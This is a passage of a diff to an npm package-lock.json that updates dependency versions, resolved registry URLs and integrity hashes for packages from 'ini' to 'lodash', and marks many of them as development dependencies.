+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+ "dev": true
},
"ini": {
- "version": "1.3.5",
- "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz",
- "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw=="
+ "version": "1.3.7",
+ "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.7.tgz",
+ "integrity": "sha512-iKpRpXP+CrP2jyrxvg1kMUpXDyRUFDWurxbnVT1vQPx+Wz9uCYsMIqYuSBLV+PAaZG/d7kRLKRFc9oDMsH+mFQ==",
+ "dev": true
},
"inquirer": {
"version": "7.1.0",
@@ -7267,20 +10203,20 @@
}
},
"internal-slot": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.2.tgz",
- "integrity": "sha512-2cQNfwhAfJIkU4KZPkDI+Gj5yNNnbqi40W9Gge6dfnk4TocEVm00B3bdiL+JINrbGJil2TeHvM4rETGzk/f/0g==",
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+ "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==",
"dev": true,
"requires": {
- "es-abstract": "^1.17.0-next.1",
+ "get-intrinsic": "^1.1.0",
"has": "^1.0.3",
- "side-channel": "^1.0.2"
+ "side-channel": "^1.0.4"
}
},
"interpret": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.2.0.tgz",
- "integrity": "sha512-mT34yGKMNceBQUoVn7iCDKDntA7SC6gycMAWzGx1z/CMCTV7b2AAtXlo3nRyHZ1FelRkQbQjprHSYGwzLtkVbw==",
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz",
+ "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==",
"dev": true
},
"invariant": {
@@ -7291,16 +10227,11 @@
"loose-envify": "^1.0.0"
}
},
- "invert-kv": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
- "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==",
- "dev": true
- },
"ip": {
"version": "1.1.5",
"resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz",
- "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo="
+ "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=",
+ "dev": true
},
"ip-regex": {
"version": "2.1.0",
@@ -7317,7 +10248,8 @@
"is": {
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/is/-/is-3.3.0.tgz",
- "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg=="
+ "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg==",
+ "dev": true
},
"is-absolute-url": {
"version": "3.0.3",
@@ -7351,12 +10283,6 @@
"integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==",
"dev": true
},
- "is-alphanumeric": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/is-alphanumeric/-/is-alphanumeric-1.0.0.tgz",
- "integrity": "sha1-Spzvcdr0wAHB2B1j0UDPU/1oifQ=",
- "dev": true
- },
"is-alphanumerical": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
@@ -7378,6 +10304,12 @@
"resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
"integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0="
},
+ "is-bigint": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.1.tgz",
+ "integrity": "sha512-J0ELF4yHFxHy0cmSxZuheDOz2luOdVvqjwmEcj8H/L1JHeuEDSDbeRP+Dk9kFVk5RTFzbucJ2Kb9F7ixY2QaCg==",
+ "dev": true
+ },
"is-binary-path": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
@@ -7387,6 +10319,15 @@
"binary-extensions": "^1.0.0"
}
},
+ "is-boolean-object": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.0.tgz",
+ "integrity": "sha512-a7Uprx8UtD+HWdyYwnD1+ExtTgqQtD2k/1yJgtXP6wnMm8byhkoTZRl+95LLThpzNZJ5aEvi46cdH+ayMFRwmA==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0"
+ }
+ },
"is-buffer": {
"version": "1.1.6",
"resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
@@ -7396,16 +10337,27 @@
"is-callable": {
"version": "1.1.5",
"resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.5.tgz",
- "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q=="
+ "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==",
+ "dev": true
},
"is-ci": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
"integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
+ "dev": true,
"requires": {
"ci-info": "^2.0.0"
}
},
+ "is-core-module": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.2.0.tgz",
+ "integrity": "sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==",
+ "dev": true,
+ "requires": {
+ "has": "^1.0.3"
+ }
+ },
"is-data-descriptor": {
"version": "0.1.4",
"resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
@@ -7441,7 +10393,8 @@
"is-deflate": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-deflate/-/is-deflate-1.0.0.tgz",
- "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ="
+ "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ=",
+ "dev": true
},
"is-descriptor": {
"version": "0.1.6",
@@ -7463,9 +10416,10 @@
}
},
"is-docker": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.1.1.tgz",
- "integrity": "sha512-ZOoqiXfEwtGknTiuDEy8pN2CfE3TxMHprvNer1mXiqwkOT77Rw3YVrUQ52EqAOU3QAWDQ+bQdx7HJzrv7LS2Hw=="
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+ "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
+ "dev": true
},
"is-extendable": {
"version": "0.1.1",
@@ -7476,7 +10430,8 @@
"is-extglob": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
- "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
+ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
+ "dev": true
},
"is-finite": {
"version": "1.1.0",
@@ -7488,6 +10443,7 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
"integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
+ "dev": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -7496,6 +10452,7 @@
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
"integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
+ "dev": true,
"requires": {
"is-extglob": "^2.1.1"
}
@@ -7503,7 +10460,8 @@
"is-gzip": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-gzip/-/is-gzip-1.0.0.tgz",
- "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM="
+ "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM=",
+ "dev": true
},
"is-hexadecimal": {
"version": "1.0.4",
@@ -7515,22 +10473,37 @@
"version": "0.3.2",
"resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.3.2.tgz",
"integrity": "sha512-wZ8x1js7Ia0kecP/CHM/3ABkAmujX7WPvQk6uu3Fly/Mk44pySulQpnHG46OMjHGXApINnV4QhY3SWnECO2z5g==",
+ "dev": true,
"requires": {
"global-dirs": "^2.0.1",
"is-path-inside": "^3.0.1"
},
"dependencies": {
"is-path-inside": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.2.tgz",
- "integrity": "sha512-/2UGPSgmtqwo1ktx8NDHjuPwZWmHhO+gj0f93EkhLB5RgW9RZevWYYlIkS6zePc6U2WpOdQYIwHe9YC4DWEBVg=="
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
+ "dev": true
}
}
},
+ "is-interactive": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz",
+ "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==",
+ "dev": true
+ },
+ "is-negative-zero": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz",
+ "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==",
+ "dev": true
+ },
"is-npm": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/is-npm/-/is-npm-4.0.0.tgz",
- "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig=="
+ "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==",
+ "dev": true
},
"is-number": {
"version": "3.0.0",
@@ -7552,10 +10525,17 @@
}
}
},
+ "is-number-object": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.4.tgz",
+ "integrity": "sha512-zohwelOAur+5uXtk8O3GPQ1eAcu4ZX3UwxQhUlfFFMNpUd83gXgjbhJh6HmB6LUNV/ieOLQuDwJO3dWJosUeMw==",
+ "dev": true
+ },
"is-obj": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
- "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="
+ "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==",
+ "dev": true
},
"is-path-cwd": {
"version": "2.2.0",
@@ -7634,7 +10614,14 @@
"is-typedarray": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
- "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
+ "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=",
+ "dev": true
+ },
+ "is-unicode-supported": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
+ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
+ "dev": true
},
"is-utf8": {
"version": "0.2.1",
@@ -7642,24 +10629,12 @@
"integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=",
"dev": true
},
- "is-whitespace-character": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz",
- "integrity": "sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w==",
- "dev": true
- },
"is-windows": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
"integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
"dev": true
},
- "is-word-character": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/is-word-character/-/is-word-character-1.0.4.tgz",
- "integrity": "sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA==",
- "dev": true
- },
"is-wsl": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz",
@@ -7669,17 +10644,20 @@
"is-yarn-global": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz",
- "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw=="
+ "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==",
+ "dev": true
},
"isarray": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+ "dev": true
},
"isexe": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
- "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA="
+ "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=",
+ "dev": true
},
"isobject": {
"version": "3.0.1",
@@ -7702,6 +10680,75 @@
"integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=",
"dev": true
},
+ "jest-diff": {
+ "version": "26.6.2",
+ "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz",
+ "integrity": "sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==",
+ "dev": true,
+ "requires": {
+ "chalk": "^4.0.0",
+ "diff-sequences": "^26.6.2",
+ "jest-get-type": "^26.3.0",
+ "pretty-format": "^26.6.2"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ }
+ }
+ },
+ "jest-get-type": {
+ "version": "26.3.0",
+ "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz",
+ "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==",
+ "dev": true
+ },
"js-base64": {
"version": "2.5.2",
"resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.2.tgz",
@@ -7717,6 +10764,7 @@
"version": "3.13.1",
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
"integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
+ "dev": true,
"requires": {
"argparse": "^1.0.7",
"esprima": "^4.0.0"
@@ -7737,12 +10785,14 @@
"json-buffer": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
- "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+ "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==",
+ "dev": true
},
"json-file-plus": {
"version": "3.3.1",
"resolved": "https://registry.npmjs.org/json-file-plus/-/json-file-plus-3.3.1.tgz",
"integrity": "sha512-wo0q1UuiV5NsDPQDup1Km8IwEeqe+olr8tkWxeJq9Bjtcp7DZ0l+yrg28fSC3DEtrE311mhTZ54QGS6oiqnZEA==",
+ "dev": true,
"requires": {
"is": "^3.2.1",
"node.extend": "^2.0.0",
@@ -7754,7 +10804,13 @@
"json-parse-better-errors": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
- "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw=="
+ "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==",
+ "dev": true
+ },
+ "json-parse-even-better-errors": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="
},
"json-schema": {
"version": "0.2.3",
@@ -7815,24 +10871,47 @@
}
},
"jsx-ast-utils": {
- "version": "2.2.3",
- "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz",
- "integrity": "sha512-EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==",
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz",
+ "integrity": "sha512-EIsmt3O3ljsU6sot/J4E1zDRxfBNrhjyf/OKjlydwgEimQuznlM4Wv7U+ueONJMyEn1WRE0K8dhi3dVAXYT24Q==",
"dev": true,
"requires": {
- "array-includes": "^3.0.3",
- "object.assign": "^4.1.0"
+ "array-includes": "^3.1.2",
+ "object.assign": "^4.1.2"
+ },
+ "dependencies": {
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ }
}
},
"jszip": {
- "version": "3.5.0",
- "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.5.0.tgz",
- "integrity": "sha512-WRtu7TPCmYePR1nazfrtuF216cIVon/3GWOvHS9QR5bIwSbnxtdpma6un3jyGGNhHsKCSzn5Ypk+EkDRvTGiFA==",
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.6.0.tgz",
+ "integrity": "sha512-jgnQoG9LKnWO3mnVNBnfhkh0QknICd1FGSrXcgrl67zioyJ4wgx25o9ZqwNtrROSflGBCGYnJfjrIyRIby1OoQ==",
+ "dev": true,
"requires": {
"lie": "~3.3.0",
"pako": "~1.0.2",
"readable-stream": "~2.3.6",
"set-immediate-shim": "~1.0.1"
+ },
+ "dependencies": {
+ "pako": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
+ "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
+ "dev": true
+ }
}
},
"jwt-decode": {
@@ -7846,9 +10925,10 @@
"integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk="
},
"keyv": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.1.tgz",
- "integrity": "sha512-xz6Jv6oNkbhrFCvCP7HQa8AaII8y8LRpoSm661NOKLr4uHuBwhX4epXrPQgF3+xdJnN4Esm5X0xwY4bOlALOtw==",
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz",
+ "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==",
+ "dev": true,
"requires": {
"json-buffer": "3.0.1"
}
@@ -7866,47 +10946,25 @@
"dev": true
},
"known-css-properties": {
- "version": "0.18.0",
- "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.18.0.tgz",
- "integrity": "sha512-69AgJ1rQa7VvUsd2kpvVq+VeObDuo3zrj0CzM5Slmf6yduQFAI2kXPDQJR2IE/u6MSAUOJrwSzjg5vlz8qcMiw==",
+ "version": "0.21.0",
+ "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.21.0.tgz",
+ "integrity": "sha512-sZLUnTqimCkvkgRS+kbPlYW5o8q5w1cu+uIisKpEWkj31I8mx8kNG162DwRav8Zirkva6N5uoFsm9kzK4mUXjw==",
"dev": true
},
"latest-version": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz",
"integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==",
+ "dev": true,
"requires": {
"package-json": "^6.3.0"
}
},
- "lcid": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
- "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
- "dev": true,
- "requires": {
- "invert-kv": "^2.0.0"
- }
- },
- "leven": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
- "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
- "dev": true
- },
- "levenary": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz",
- "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==",
- "dev": true,
- "requires": {
- "leven": "^3.1.0"
- }
- },
"levn": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
"integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
+ "dev": true,
"requires": {
"prelude-ls": "~1.1.2",
"type-check": "~0.3.2"
@@ -7916,6 +10974,7 @@
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
"integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
+ "dev": true,
"requires": {
"immediate": "~3.0.5"
}
@@ -7989,54 +11048,116 @@
"integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA=="
},
"lodash-es": {
- "version": "4.17.15",
- "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.15.tgz",
- "integrity": "sha512-rlrc3yU3+JNOpZ9zj5pQtxnx2THmvRykwL4Xlxoa8I9lHBlVbbyPhgyPMioxVZ4NqyxaVVtaJnzsyOidQIhyyQ=="
+ "version": "4.17.21",
+ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz",
+ "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw=="
},
"lodash.assign": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-4.2.0.tgz",
- "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc="
+ "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=",
+ "dev": true
},
"lodash.assignin": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/lodash.assignin/-/lodash.assignin-4.2.0.tgz",
